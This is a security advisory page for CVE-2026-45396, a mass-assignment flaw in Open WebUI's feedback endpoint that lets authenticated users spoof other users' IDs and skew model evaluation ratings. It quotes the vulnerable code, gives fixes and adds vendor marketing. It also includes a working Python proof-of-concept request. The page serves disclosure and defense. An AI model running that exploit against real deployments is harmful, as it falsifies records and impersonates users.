CVE-2026-45396 — open-webui
MEDIUMCVE-2026-45396 is a medium-severity (CVSS 5.4) vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
Open WebUI: Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45396.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-45396 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation
Summary
The POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model_config = ConfigDict(extra='allow'). Due to an insecure dictionary merge order in insert_new_feedback(), an authenticated attacker can inject a user_id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.
Details
The vulnerability exists in two layers:
1. Model Layer — Insecure Dict Merge Order
File: backend/open_webui/models/feedbacks.py, lines 148–160
async def insert_new_feedback(
self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None
) -> Optional[FeedbackModel]:
async with get_async_db_context(db) as db:
id = str(uuid.uuid4())
feedback = FeedbackModel(
**{
'id': id,
'user_id': user_id, # ← Server-set from auth token
'version': 0,
**form_data.model_dump(), # ← OVERWRITES 'id', 'user_id', 'version'
'created_at': int(time.time()),
'updated_at': int(time.time()),
}
)
In Python, when a dictionary literal contains duplicate keys, the last value wins. Since **form_data.model_dump() appears after 'user_id': user_id, any user_id field in the form data overwrites the authenticated user's ID.
2. Schema Layer — extra='allow' on Request Form
File: backend/open_webui/models/feedbacks.py, line 106
class FeedbackForm(BaseModel):
type: str
data: Optional[RatingData] = None
meta: Optional[dict] = None
snapshot: Optional[SnapshotData] = None
model_config = ConfigDict(extra='allow') # ← Accepts arbitrary extra fields
The extra='allow' config means Pydantic will accept and preserve any extra fields in the request body, including user_id, id, and version. These are then spread into the FeedbackModel constructor, overwriting server-set values.
Contrast with Secure Pattern
Other models in the same codebase use the correct ordering. For example, backend/open_webui/models/functions.py, line 120:
function = FunctionModel(**{
**form_data.model_dump(), # ← Spread FIRST
'user_id': user_id, # ← Server value AFTER → always wins
})
And ModelForm at backend/open_webui/models/models.py uses extra='ignore', which is the strictest approach.
Impact
1. User Identity Spoofing
An attacker can create feedback records attributed to any user by specifying their user_id. The admin export endpoint (GET /api/v1/evaluations/feedbacks/export) and admin list (GET /api/v1/evaluations/feedbacks/all) will show the spoofed user_id as the feedback author.
2. Model Evaluation Leaderboard Manipulation
The Elo rating system at backend/open_webui/routers/evaluations.py computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:
- Artificially inflate ratings for a specific model
- Deflate ratings for competitor models
- Make organizational model evaluation decisions unreliable
3. Record ID Control
By injecting a custom id, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.
PoC
import requests
BASE_URL = "http://localhost:8080"
# 1. Login as attacker
session = requests.Session()
login_resp = session.post(f"{BASE_URL}/api/v1/auths/signin", json={
"email": "[email protected]",
"password": "attackerpass"
})
token = login_resp.json()["token"]
headers = {"Authorization": f"Bearer {token}"}
# 2. Create feedback attributed to a different user (victim)
VICTIM_USER_ID = "12345678-aaaa-bbbb-cccc-000000000000"
resp = session.post(
f"{BASE_URL}/api/v1/evaluations/feedback",
headers=headers,
json={
"type": "rating",
"data": {
"model_id": "gpt-4o",
"rating": 1,
"sibling_model_ids": ["claude-3-opus"],
},
# Mass assignment: these extra fields are accepted due to extra='allow'
# and overwrite server-set values due to dict merge order
"user_id": VICTIM_USER_ID, # Overwrites authenticated user ID
"version": 999, # Overwrites default version
}
)
feedback = resp.json()
print(f"Feedback created with user_id: {feedback['user_id']}")
# Expected: attacker's own user_id
# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)
assert feedback["user_id"] == VICTIM_USER_ID, "Mass assignment successful!"
Severity
CVSS 3.1: 5.4 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (any authenticated user)
- User Interaction: None
- Impact: Integrity (feedback data falsification) + limited Availability (leaderboard reliability)
Suggested Remediation
Option 1: Fix dict merge order (minimal fix)
feedback = FeedbackModel(
**{
**form_data.model_dump(), # Spread FIRST
'id': id, # Server values AFTER (always win)
'user_id': user_id,
'version': 0,
'created_at': int(time.time()),
'updated_at': int(time.time()),
}
)
Option 2: Remove extra='allow' from FeedbackForm (recommended)
class FeedbackForm(BaseModel):
type: str
data: Optional[RatingData] = None
meta: Optional[dict] = None
snapshot: Optional[SnapshotData] = None
model_config = ConfigDict(extra='ignore') # Reject unexpected fields
Option 3: Explicit field assignment (most secure)
feedback = FeedbackModel(
id=str(uuid.uuid4()),
user_id=user_id,
version=0,
type=form_data.type,
data=form_data.data.model_dump() if form_data.data else {},
meta=form_data.meta or {},
snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},
created_at=int(time.time()),
updated_at=int(time.time()),
)
Affected Versions
- v0.9.2 (current latest, confirmed vulnerable)
- Likely all versions since feedback/evaluation feature was introduced
References
- Prior advisory: "Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts" (patched in v0.9.0) — same root cause class, different endpoint
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.9.5pip install --upgrade 'open-webui==0.9.5' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.9.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45396 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-45396 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-45396. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-45396 in your dependencies?
O3 Security finds CVE-2026-45396 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.